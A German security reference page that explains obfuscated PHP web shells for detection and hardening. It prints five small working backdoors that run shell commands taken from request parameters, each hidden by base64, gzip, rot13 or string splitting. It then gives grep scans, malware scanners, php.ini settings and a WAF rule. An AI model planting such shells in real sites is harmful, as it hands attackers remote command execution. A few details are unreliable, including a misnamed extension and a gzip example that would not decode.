Obfuscated PHP Malware
Obfuscated PHP Malware
Beschreibung
Obfuskierter PHP-Code verschleiert seine eigentliche Funktion so, dass weder automatische Scanner noch menschliche Code-Reviews den Schadcode auf den ersten Blick erkennen. Der Angreifer nutzt PHP-eigene Funktionen zur Laufzeitauswertung kombiniert mit Encoding/Kompression, um Backdoors, Datendiebstahl oder Downloader zu verstecken.
Obfuskierung ist kein Angriff für sich – sie ist fast immer Tarnung für einen anderen Angriffstyp (Web Shell, Credential Stealer, Remote Downloader).
Angreiferperspektive
Stufe 1: Einfaches Base64 + eval
<?php
// Payload im Klartext:
// system($_GET['cmd']);
$payload = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7');
eval($payload);
?>
Dekodierung zur Analyse:
echo 'c3lzdGVtKCRfR0VUWydjbWQnXSk7' | base64 -d
# system($_GET['cmd']);
Stufe 2: Mehrfach-Encoding (Base64 + gzip)
<?php
// Payload: system($_GET['cmd']);
// Erst gzip-komprimiert, dann base64-kodiert
$encoded = 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=';
$payload = gzinflate(base64_decode($encoded));
eval($payload);
?>
# Analyse-Einzeiler
echo 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=' | \
base64 -d | gunzip
# system($_GET['cmd']);
Stufe 3: String-Rotation (str_rot13)
<?php
// rot13("system") = "flfgrz"
$f = str_rot13('flfgrz'); // ergibt: system
$a = str_rot13('$_TRG[\'pzq\']'); // ergibt: $_GET['cmd']
eval('$f($a);');
?>
Stufe 4: Verkettete Variable-Funktionsaufrufe
<?php
// Vollständig verschleiert – kein klarer Funktionsname sichtbar
$a = 's' . 'y' . 's' . 't' . 'e' . 'm';
$b = '_' . 'G' . 'E' . 'T';
$$b = $_GET;
$a($$b['cmd']);
?>
Stufe 5: Praxisbeispiel – Leafmailer-Webshell (wie im WordPress-Incident)
Solche Shells wurden z. B. in kompromittierten WordPress-Installationen als scheinbar harmlose Mailer-Skripte getarnt:
<?php
// Typisches Obfuskierungsmuster aus real aufgefundenen Webshells
// (vereinfacht dargestellt)
$x = str_replace('_', '', 'sy_st_em');
$y = @$_POST[base64_decode('Y21k')]; // base64("cmd") = "cmd"
if (isset($y)) { $x($y); }
?>
echo 'Y21k' | base64 -d
# cmd
Erkennungsmerkmale (Red Flags)
| Merkmal | Risiko | Erläuterung |
|---|---|---|
eval() |
Kritisch | Führt beliebigen PHP-Code zur Laufzeit aus |
base64_decode() kombiniert mit eval() |
Kritisch | Klassisches Obfuskierungsmuster |
gzinflate(), gzuncompress() |
Hoch | Komprimierter Payload |
str_rot13() |
Hoch | Einfache Zeichenrotation zur Tarnung |
assert() |
Hoch | Verhält sich wie eval(), wird seltener gefiltert
|
create_function() |
Hoch | Veraltete Alternative zu anonymen Funktionen, oft in altem Malware-Code |
| Strings über 500 Zeichen ohne Leerzeichen | Mittel | Hinweis auf eingebetteten Encoded Payload |
preg_replace() mit /e-Modifier |
Kritisch | Führt Replacement-String als PHP-Code aus (PHP < 7.0) |
Filesystem-Scan nach Obfuskierungsmerkmalen
# eval() kombiniert mit base64_decode
grep -rn --include="*.php" \
-e "eval\s*(base64_decode" \
-e "eval\s*(gzinflate" \
-e "eval\s*(str_rot13" \
-e "assert\s*(\$" \
/var/www/html/
# Extrem lange Strings (Payload-Indikator)
grep -rn --include="*.php" \
-P '.{500,}' \
/var/www/html/ | grep -v ".min.php"
# create_function – fast nie legitim in modernem Code
grep -rn --include="*.php" "create_function" /var/www/html/
Payload manuell dekodieren
# Unbekannten Base64-String dekodieren
echo 'UNBEKANNTER_STRING' | base64 -d
# Base64 + gzip
echo 'UNBEKANNTER_STRING' | base64 -d | gunzip 2>/dev/null || \
echo 'UNBEKANNTER_STRING' | base64 -d | zlib-flate -uncompress
# PHP-Oneliner zur schnellen Analyse (ohne eval auszuführen!)
php -r "echo base64_decode('UNBEKANNTER_STRING');"
php -r "echo gzinflate(base64_decode('UNBEKANNTER_STRING'));"
Automatisierter Scan mit ClamAV und PDFM (Linux Malware Detect)
# ClamAV – PHP-Malware-Signaturen
apt install clamav
freshclam
clamscan -r --include="*.php" /var/www/html/
# Linux Malware Detect (Maldet)
wget https://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xzf maldetect-current.tar.gz && cd maldetect-*/
./install.sh
maldet --scan-all /var/www/html/
maldet --report list
Gegenmaßnahmen
eval() serverseitig verbieten
; /etc/php/8.2/apache2/php.ini
; Hinweis: eval() kann nicht über disable_functions deaktiviert werden
; – es ist ein Sprachkonstrukt, kein Funktionsaufruf.
; Stattdessen: Suarhodin-Extension oder open_basedir + strenge Dateirechte
disable_functions = assert, create_function, preg_replace
- Hinweis zu eval()
- Da
eval()ein PHP-Sprachkonstrukt ist (kein Funktionsaufruf),
kann es nicht über disable_functions deaktiviert werden.
Abhilfe schaffen: Code-Reviews, statische Analyse und Integrity Monitoring.
Statische Analyse mit PHPCS Security Audit
composer require --dev pheromone/phpcs-security-audit
./vendor/bin/phpcs --standard=Security /var/www/html/
open_basedir – Dateizugriff einschränken
; PHP darf nur innerhalb des Webroot auf Dateien zugreifen
open_basedir = /var/www/html:/tmp
WAF-Regel: eval + base64 im Request-Body blockieren
# Coraza / ModSecurity
SecRule REQUEST_BODY "@rx eval\s*\(\s*base64_decode" \
"id:1002,phase:2,deny,status:403,msg:'Obfuscated PHP in Request'"
Zusammenfassung
- Angreifer will
- Schadcode so tarnen, dass Scanner und Code-Reviews ihn übersehen
- Typische Techniken
- Base64, gzip, str_rot13, variable Funktionsnamen, mehrstufige Dekodierung
- Erkennbar durch
- grep auf eval/assert/base64_decode, Längenanalyse, ClamAV/Maldet
- Prävention
- disable_functions (assert, create_function), open_basedir, statische Analyse, Integrity Monitoring
- Wichtig
eval()selbst kann nicht per php.ini deaktiviert werden → Code-Review ist unverzichtbar